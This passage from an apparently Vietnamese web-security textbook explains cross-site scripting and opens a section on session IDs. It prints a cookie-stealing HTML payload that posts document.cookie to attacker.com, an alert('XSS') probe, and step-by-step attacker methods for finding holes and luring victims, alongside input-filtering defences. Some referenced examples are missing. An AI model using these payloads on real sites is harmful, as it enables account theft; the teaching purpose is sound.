bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính họ có thể sẽ bị cài các loại virus, backdoor, worm
Ví dụ :
Trang 35
<form action="http://attacker.com/save.asp" method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">
Vậy là khi nhận thư, và nếu ta vô tình đưa con chuột qua bức ảnh gửi kèm thì
cũng có thể đã bị lấy mất cookie Và với cookie lấy được, các hacker có thể dễ dàng
login vào hòm thư mà không cần biết mật khẩu của victim
Thông thường các liên kết sẽ được hacker mã hóa nhằm che giấu sự nghi ngờ
của victim để đạt khả năng thành công cao hơn, ví dụ :
Code 2 thực chất chính là code 1 ban đầu nhưng chỉ khác nó đã được mã hoá
Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó,và trình duyệt vẫn
hiểu được địa chỉ đó thực sự là gì Bởi vậy người có thể sẽ gặp phải các đoạn mã nguy
hiểm nếu như mất cảnh giác với XSS
Trang 365.3 Truy tìm lổ hổng XSS của ứng dụng web
Hiện nay, người quản trị có thể sử dụng nhiều công cụ khác nhau để dò quét lỗi của ứng dụng web của mình có mắc phải lổi XSS hay không để từ đó tìm cách khắc phục ví dụ như chương trình Web Vulnerability Scanner ,N-Stealth hay AppScan …
để dò quét lỗi XSS Tuy nhiên với Hacker với các phương pháp thăm dò, dù mất thời gian hơn nhưng vẩn có thể phát hiện website bị lổi XSS qua các bước sau :
Bước 1: Mở website cần kiểm tra
Bước 2: Xác định các nơi cần kiểm tra XSS 1 Site bất kỳ bao giờ cũng có các phần: Search, error message, web form Chủ yếu lỗi XSS nằm ở phần này, nói chung XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó nhận được một cái gì đó Ví dụ hacker nhập vào chuỗi ‘XSS’
Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các thông tin trả về Ví dụ: ‘Không tìm thấy XSS…’ , hay là ‘Tài khoản XSS không chính xác’, ‘Đăng nhập với XSS không thành công’… thì khi đó khả năng chỗ đó bị dính XSS là rất cao
Trang 37Chèn đoạn code: < script>alert('XSS')< /script> vào ô bị lỗi và nhấn nút Login,
nếu nhận được một popup có chữ ‘XSS’ thì khả năng website đã bị mắc lổi XSS
Gọi http://websitebiloiXSS.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://websitebiloiXSS.com/index.php?page=<script </ script>
nghĩa là ta có thể chèn code ngay trên thanh ADDRESS
Bước 5: Lên kế hoạch kịch bản tấn công
5.4 Các bước thực hiện tấn công XSS :
Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ
hỏng XSS
Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…) Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ ta”…
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker
Bước 4: Hacker tạo một chương trình cgi hoặc một trang Web để ghi nhận những thông tin đă đánh cắp vào 1 tập tin
Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng
Trang 38Như đã đề cập ở trên, một tấn công XSS chỉ thực hiện được khi gửi một trang web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công Vì vậy những người phát triển web có thể bảo vệ website của mình khỏi bị lợi dụng thông qua những tấn công XSS này, đảm bảo những trang phát sinh động không chứa các tag của script bằng cách lọc và xác nhận hợp lý các dữ liệu đầu vào từ phía người dùng hoặc
mã hóa(endcoding) và lọc các giá trị xuất cho người dùng
*Lọc dử liệu
Luôn luôn lọc các dữ liệu nhập từ phía người dùng bằng cách lọc các kí tự meta (kí tự đặc biệt) kí tự NULL, các thẻ <script> được định nghĩa trong đặc tả của HTML Mỗi trường nhập liệu bao gồm cả tham số liên kết sẽ được kiểm tra để phát hiện các thẻ script
Trang 406.1 Sự ra đời và khái niệm
Khi ta vào 1 website nào đó, khi đã đăng nhập thành công nhưng mổi lần trả lời câu hỏi nào đó hoặc theo một liên kết khác cùng một trang web, ta phải đăng nhập lại, điều này thật bất tiện và session ID ra đời để khắc phục sự bất tiện đó Với 1 session
ID tạo riêng ra cho 1 user khi kết nối thành công tới một website nào đó, webserver dựa vào session ID để nhận ra user và chấp nhận cho user này thực hiện các hành động
mà user được quyền và không phải xác nhận qua lần này đến lần khác Session ID được xem như một mật khẩu tĩnh tạm thời cho những lần yêu cầu tiếp theo
Điều này đă khiến cho Session ID là mục tiêu lớn cho những hacker Trong nhiều trường hợp, hacker giành được session ID hợp lệ của người dùng để từ đó đột nhập vào phiên làm việc của họ